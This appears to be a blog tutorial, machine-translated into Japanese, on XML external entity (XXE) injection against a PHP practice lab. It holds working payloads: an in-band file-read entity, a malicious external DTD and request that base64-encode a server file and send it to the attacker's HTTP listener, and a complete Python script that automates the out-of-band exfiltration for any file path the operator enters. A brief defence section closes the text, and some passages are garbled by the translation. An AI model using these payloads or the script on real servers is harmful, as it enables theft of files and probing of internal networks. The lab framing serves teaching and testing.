外部エンティティインジェクションの脆弱性

原理

外部エンティティの参照が許可されている場合、外部エンティティインジェクション(XXE)の脆弱性が発生します。悪意のあるコンテンツを構築することにより、任意のファイルの読み取り、システムコマンドの実行、イントラネットポートの検出、イントラネットWebサイトの攻撃などの損害につながる可能性があります。XXEの脆弱性は、エコーのあるXXEとエコーのないXXEの2つのタイプに分けられます。

脆弱性表示

エコーされたXXEがあります。
これでhacker.txt、テスト用にdドライブに新しいファイルを作成しました。まず、burpsuiteを使用してパケットをキャプチャします。ここでの射撃場では、これを使用しphp_xxeます。
ここに画像の説明を挿入します
パケットのキャプチャ時にデータがXML形式で送信されたことがわかったため、これはXMLインジェクションのコードです。予備判断にはXML外部エンティティインジェクションの脆弱性がある可能性があります。
ここに画像の説明を挿入します

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///d:/hacker.txt">
]>

ここに画像の説明を挿入します
注射は成功です!
ここに画像の説明を挿入します
エコーなしのXXEのデモンストレーション
最初にphp_xxeディレクトリdoLogin.phpファイルを開き、コメントアウトしてecho $result追加します。error_reporting(0)
ここに画像の説明を挿入します
エコー情報が消えていることがわかります。
ここに画像の説明を挿入します
エコーなしのXXEの場合、帯域外(OOB)チャネルを構築する必要があります。データ。アイデアは次のとおりです。

  1. 攻撃者は最初にpayload1をWebサーバーに送信します
  2. Payload1はWebサーバーをトリガーし、WebサーバーはVPSから悪意のあるDTDを取得し、payload2を実行します。
  3. payload2により、Webサーバーは結果をパラメーターとして使用してVPS上のHTTPサービスにアクセスします。
  4. 攻撃者は、VPSのHTTPアクセスレコードを介して結果を取得しました

ここに画像の説明を挿入します
VPS(Virtual Private Server)テクノロジー、サーバーを複数の仮想プライベートサーバーに分割する高品質のサービス。各vpsには、独立したパブリックネットワークIPアドレス、独立したオペレーティングシステム、独立した大容量スペース、独立したメモリ、独立したCPUリソース、独立した実行プログラム、独立したシステム構成などを割り当てることができます。

DTD(文書型定義)の役割は、XML文書の正当な構成要素を定義することです。一連の法的要素を使用して、ドキュメント構造を定義します。DTDは、正当なXMLドキュメントビルディングブロックを定義できます。一連の法的要素を使用して、ドキュメントの構造を定義します。DTDは、XMLドキュメントでインラインで宣言することも、外部参照として使用することもできます。

攻撃プロセス
最初にKaliのapache2サービスを開始してから、/var/www/htmlこのディレクトリにevil.xmlファイル作成しましょうファイル内容は次のとおりです。

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.75.159/?content=%file;'>"> %payload;

次に、burpsuiteでこれらのコンテンツを変更します

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=d:/hacker.txt">
<!ENTITY % dtd SYSTEM "http://192.168.75.159/evil.xml">
%dtd;
%send;
]>

ここに画像の説明を挿入します
kaliのログ情報は、ファイルのコンテンツをbase64でエンコードし、コンテンツの後にコンテンツをデコーダーに入れて、ファイルのコンテンツをデコードします。apache2を起動するコマンドとログ情報を表示するコマンドは次のとおりです。

service apache2 start
tail -f /var/log/apache2/access.log

ここに画像の説明を挿入します

コードの自動化

スクリプト関連の情報とモジュールを書く

#!/usr/bin/python3
# -*- coding: utf-8 -*-


from http.server import HTTPServer,SimpleHTTPRequestHandler
import threading
import requests
import sys

攻撃ペイロードの生成関数を記述します。これにより、指定されたIPアドレスとポートに従って悪意のあるDTDを含む対応するXMLファイルを生成できます。

# 创建攻击代码文件
def ExportPayload(lip,lport):
    file = open('evil.xml','w')
    file.write("<!ENTITY % payload \"<!ENTITY &#x25; send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(lip, lport))
    file.close()
    print("[*] Payload文件创建成功!")

HTTPサービス関数を記述し、http.serverモジュールを介してHTTPサービスを実装して、ターゲットサーバーから返されるデータを監視します。

# 开启HTTP服务,接收数据
def StartHTTP(lip,lport):
    # HTTP监听的IP地址和端口
    serverAddr = (lip, lport)
    httpd = HTTPServer(serverAddr, MyHandler)
    print("[*] 正在开启HTTP服务器:\n\n================\nIP地址:{0}\n端口:{1}\n================\n".format(lip, lport))
    httpd.serve_forever()

ターゲットサーバーに攻撃データを送信するPOST送信関数を作成します

#通过POST发送攻击数据
def SendData(lip, lport, url):
    # 需要读取的文件的路径(默认值)
    filePath = "d:\\hacker.txt"
    while True:
        # 对用户的输入的文件路径斜杠的替换
        filePath = filePath.replace('\\', "/")
        data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(filePath, lip, lport)
        requests.post(url, data=data)
        # 继续接收用户的输入,读取指定文件
        filePath = input("Input filePath:")

メッセージ処理クラスを定義します。このクラスはSimpleHTTPRequestHandlerを継承します。同時に、アクセス情報を出力しながらアクセス情報をファイルに記録できるように、元のログ情報機能を書き換える必要があります。

# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件
class MyHandler(SimpleHTTPRequestHandler):
        
    def log_message(self, format, *args):
        # 终端输出HTTP访问信息
        sys.stderr.write("%s - - [%s] %s\n" %
                        (self.client_address[0],
                        self.log_date_time_string(),
                        format%args))
        # 保存信息到文件
        textFile = open("result.txt", "a")
        textFile.write("%s - - [%s] %s\n" %
                        (self.client_address[0], 
                        self.log_date_time_string(),
                        format%args))
        textFile.close()

関連する変数と関数呼び出しの定義が含まれるmain関数を記述します

if __name__ == '__main__':
    #本机IP,IP为kali虚拟机的IP
    lip = "192.168.75.159"
    #本机HTTP监听端口,可以使用netstat命令查看apache2监听的端口是多少
    lport = 80
    #目标网站提交表单的URL,IP为物理机的IP
    url = "http://192.168.101.3/xxe-lab/php_xxe/doLogin.php"
    # 创建payload文件
    ExportPayload(lip, lport)
    # HTTP服务线程
    threadHTTP = threading.Thread(target=StartHTTP,args=(lip, lport))
    threadHTTP.start()
    # 发送POST数据线程
    threadPOST = threading.Thread(target=SendData,args=(lip, lport, url))
    threadPOST.start()

実行効果を下図に示します。
ここに画像の説明を挿入します
コンテンツの後のコンテンツをbase64にデコードしてファイルのコンテンツを確認し
ここに画像の説明を挿入します
、アクセスレコードをresult.txtファイルに保存します。
ここに画像の説明を挿入します

防衛戦略

XXEの害は、サーバーを攻撃するだけでなく、イントラネットポートを検出し、XXEを介してイントラネットWebサイトを攻撃することです。そこ默认禁止外部实体的解析の道の防衛对用户提交的XML数据进行过滤,如关键词<!DOCTYPE和<!ENTITY 或者 SYSTEM 和 PUBLIC等

おすすめ

転載: blog.csdn.net/weixin_45007073/article/details/113834253